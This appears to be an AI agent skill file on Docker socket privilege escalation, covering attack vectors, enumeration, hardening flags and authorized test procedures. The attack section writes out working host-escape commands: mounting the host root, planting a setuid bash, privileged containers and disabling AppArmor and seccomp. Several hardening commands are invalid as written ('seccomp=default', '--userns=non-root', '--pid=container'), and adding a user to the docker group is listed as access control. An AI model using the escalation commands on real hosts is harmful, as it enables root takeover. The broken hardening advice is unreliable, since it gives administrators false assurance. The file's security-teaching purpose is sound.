| name | docker-socket-security |
| description | Security skill for understanding, detecting, and preventing Docker socket privilege escalation attacks. Use this skill whenever the user mentions Docker security, container escape, privilege escalation, Docker socket access, container security auditing, or needs to harden Docker deployments. This skill helps security professionals understand attack vectors, perform authorized penetration testing, and implement defensive measures against Docker-based privilege escalation. |
Docker Socket Security & Privilege Escalation
A comprehensive guide for understanding, testing, and defending against Docker socket-based privilege escalation attacks.
When to Use This Skill
Use this skill when:
- You need to audit Docker container security configurations
- You're performing authorized penetration testing on Docker environments
- You want to understand how Docker socket access can lead to privilege escalation
- You need to harden Docker deployments against container escape attacks
- You're investigating a potential Docker security incident
- You want to learn about Docker security best practices
Understanding the Threat Model
Docker socket access (/var/run/docker.sock) is essentially root access to the host system. An attacker with socket access can:
- Start privileged containers
- Mount host filesystems
- Access host devices
- Modify host configurations
- Escape container isolation
Attack Vectors
1. Filesystem Mount Attacks
Mount Host Root
docker run -v /:/host -it <image> /bin/bash
Mount Specific Directories
docker run -v /tmp:/host -it <image> /bin/bash
cp /bin/bash /host/
chmod 4755 /host/bash
Mount Device Disks
docker run --device=/dev/sda1 --cap-add=SYS_ADMIN -it <image> /bin/bash
mount /dev/sda1 /mnt
2. Privileged Container Escape
docker run --privileged -it <image> /bin/bash
3. Capability-Based Escalation
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN -it <image> /bin/bash
docker run --cap-add=ALL -it <image> /bin/bash
4. Security Option Bypass
docker run --security-opt apparmor=unconfined -it <image> /bin/bash
docker run --security-opt seccomp=unconfined -it <image> /bin/bash
docker run --security-opt label:disable -it <image> /bin/bash
5. Namespace Sharing
docker run --pid=host --uts=host --userns=host --cgroupns=host -it <image> /bin/bash
Detection & Enumeration
Check for Docker Socket Access
ls -la /var/run/docker.sock
docker ps
mount | grep docker
Identify Writable Directories
find / -writable -type d 2>/dev/null
mount | grep -v "nosuid"
Enumerate Container Capabilities
cat /proc/self/status | grep Cap
docker inspect <container_id> | grep -A 20 HostConfig
Find Mount Points
mount | grep -E "(host|container)"
cat /proc/mounts
Defensive Measures
1. Socket Access Control
chmod 660 /var/run/docker.sock
chown root:docker /var/run/docker.sock
usermod -aG docker <username>
2. Container Hardening
docker run --user 1000:1000 -it <image> /bin/bash
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -it <image> /bin/bash
docker run --read-only -it <image> /bin/bash
docker run --security-opt no-new-privileges -it <image> /bin/bash
3. Security Profiles
docker run --security-opt apparmor=docker-default -it <image> /bin/bash
docker run --security-opt seccomp=default -it <image> /bin/bash
docker run --security-opt label=level:s0:c100,c200 -it <image> /bin/bash
4. Namespace Isolation
docker run --pid=container --uts=container -it <image> /bin/bash
docker run --userns=non-root -it <image> /bin/bash
5. Resource Limits
docker run --memory=512m --cpus=1.0 -it <image> /bin/bash
docker run --pids-limit=100 -it <image> /bin/bash
Security Audit Checklist
Pre-Deployment
Runtime Monitoring
Incident Response
Testing Procedures (Authorized Only)
Test 1: Socket Access Verification
docker ps
docker run --rm alpine echo "test"
Test 2: Mount Attack Simulation
docker run -v /:/host --rm alpine ls /host/
ls /host/etc/ 2>/dev/null && echo "Mount successful" || echo "Mount blocked"
Test 3: Privileged Container Test
docker run --privileged --rm alpine id
Test 4: Capability Test
docker run --cap-add=SYS_ADMIN --rm alpine capsh --print
Common Misconfigurations
| Misconfiguration | Risk | Fix |
|---|
| Socket world-readable | High | chmod 660 /var/run/docker.sock |
| Containers run as root | High | --user 1000:1000 |
| --privileged flag | Critical | Remove flag, use specific capabilities |
| Host namespace sharing | High | Don't use --pid=host, --uts=host |
| AppArmor disabled | Medium | --security-opt apparmor=default |
| Seccomp disabled | Medium | --security-opt seccomp=default |
| All capabilities added | Critical | Drop unnecessary capabilities |
References
Important Notes
⚠️ Authorization Required: Only perform security testing on systems you own or have explicit written authorization to test.
⚠️ Production Impact: Security testing can impact production systems. Always test in isolated environments first.
⚠️ Legal Compliance: Ensure all testing complies with applicable laws and organizational policies.
Quick Reference Commands
ls -la /var/run/docker.sock
docker ps -a
docker inspect <container_id>
cat /proc/self/status | grep Cap
find / -writable -type d 2>/dev/null
mount | grep -v "nosuid"
Next Steps
After using this skill, consider:
- Running a full Docker security audit on your environment
- Implementing the defensive measures that apply to your use case
- Setting up monitoring for Docker security events
- Training your team on Docker security best practices
- Creating incident response procedures for Docker-related security events